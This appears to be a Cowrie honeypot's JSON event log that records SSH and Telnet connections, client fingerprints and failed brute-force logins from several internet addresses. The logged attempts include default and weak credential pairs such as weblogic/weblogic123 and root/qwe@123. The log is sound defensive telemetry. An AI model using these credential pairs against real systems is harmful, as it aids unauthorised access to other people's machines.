{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:49.146163Z","src_ip":"45.153.34.112","session":"0f82bacdeb85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:49.227530Z","src_ip":"45.153.34.112","session":"0f82bacdeb85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:49.473719Z","src_ip":"45.153.34.112","session":"0f82bacdeb85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51562,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd7a65b3fe21","protocol":"telnet","message":"New connection: 192.119.13.58:51562 (10.17.0.5:23) [session: fd7a65b3fe21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:50.341611Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:50.744644Z","src_ip":"45.153.34.112","session":"0f82bacdeb85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":47288,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c33906e24cc","protocol":"ssh","message":"New connection: 43.134.175.218:47288 (10.17.0.5:22) [session: 2c33906e24cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:51.571963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:51.575948Z","src_ip":"43.134.175.218","session":"2c33906e24cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:51.820528Z","src_ip":"43.134.175.218","session":"2c33906e24cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38202,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d3ab30a6e4c","protocol":"ssh","message":"New connection: 45.153.34.112:38202 (10.17.0.5:22) [session: 7d3ab30a6e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:52.652493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:52.657284Z","src_ip":"45.153.34.112","session":"7d3ab30a6e4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:52.739949Z","src_ip":"45.153.34.112","session":"7d3ab30a6e4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:52.835817Z","src_ip":"43.134.175.218","session":"2c33906e24cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:52.988659Z","src_ip":"45.153.34.112","session":"7d3ab30a6e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:54.073412Z","src_ip":"45.153.34.112","session":"7d3ab30a6e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:54.084529Z","src_ip":"43.134.175.218","session":"2c33906e24cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":46350,"dst_ip":"10.17.0.5","dst_port":22,"session":"50ee62589d78","protocol":"ssh","message":"New connection: 37.233.85.71:46350 (10.17.0.5:22) [session: 50ee62589d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:55.197421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:55.202832Z","src_ip":"37.233.85.71","session":"50ee62589d78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.184816837310791,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:55.239383Z","src_ip":"192.119.13.58","session":"5d253ef8e9ff","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:55.303360Z","src_ip":"37.233.85.71","session":"50ee62589d78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qwer","message":"login attempt [root/123456qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:55.603544Z","src_ip":"37.233.85.71","session":"50ee62589d78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38230,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdda005c17b1","protocol":"ssh","message":"New connection: 45.153.34.112:38230 (10.17.0.5:22) [session: cdda005c17b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:56.432596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:56.437575Z","src_ip":"45.153.34.112","session":"cdda005c17b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:56.520306Z","src_ip":"45.153.34.112","session":"cdda005c17b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":43332,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e7462f18364","protocol":"ssh","message":"New connection: 170.106.177.3:43332 (10.17.0.5:22) [session: 4e7462f18364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:56.530053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:56.539696Z","src_ip":"170.106.177.3","session":"4e7462f18364","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:56.609216Z","src_ip":"170.106.177.3","session":"4e7462f18364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:56.713175Z","src_ip":"37.233.85.71","session":"50ee62589d78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:56.777249Z","src_ip":"45.153.34.112","session":"cdda005c17b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"warehouse","password":"warehouse","message":"login attempt [warehouse/warehouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:56.917408Z","src_ip":"170.106.177.3","session":"4e7462f18364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":36124,"dst_ip":"10.17.0.5","dst_port":22,"session":"88e312b32300","protocol":"ssh","message":"New connection: 43.173.122.127:36124 (10.17.0.5:22) [session: 88e312b32300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:57.722373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:57.727806Z","src_ip":"43.173.122.127","session":"88e312b32300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:57.797975Z","src_ip":"43.173.122.127","session":"88e312b32300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:57.944633Z","src_ip":"45.153.34.112","session":"cdda005c17b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:57.987887Z","src_ip":"170.106.177.3","session":"4e7462f18364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nosceteipsum","message":"login attempt [root/nosceteipsum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:58.103144Z","src_ip":"43.173.122.127","session":"88e312b32300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58972,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0b4c2df7be4","protocol":"telnet","message":"New connection: 192.119.13.58:58972 (10.17.0.5:23) [session: d0b4c2df7be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:59.059753Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:59.178453Z","src_ip":"43.173.122.127","session":"88e312b32300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37618,"dst_ip":"10.17.0.5","dst_port":22,"session":"a971d5292479","protocol":"ssh","message":"New connection: 45.153.34.112:37618 (10.17.0.5:22) [session: a971d5292479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:59.939435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:59.944908Z","src_ip":"45.153.34.112","session":"a971d5292479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:00.028533Z","src_ip":"45.153.34.112","session":"a971d5292479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:00.277976Z","src_ip":"45.153.34.112","session":"a971d5292479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41016,"dst_ip":"10.17.0.5","dst_port":23,"session":"25dab8e046c8","protocol":"telnet","message":"New connection: 192.119.13.58:41016 (10.17.0.5:23) [session: 25dab8e046c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:00.465410Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:01.380518Z","src_ip":"45.153.34.112","session":"a971d5292479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37640,"dst_ip":"10.17.0.5","dst_port":22,"session":"63a6ad2ad515","protocol":"ssh","message":"New connection: 45.153.34.112:37640 (10.17.0.5:22) [session: 63a6ad2ad515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:03.635991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:03.640783Z","src_ip":"45.153.34.112","session":"63a6ad2ad515","protocol":"ssh"}
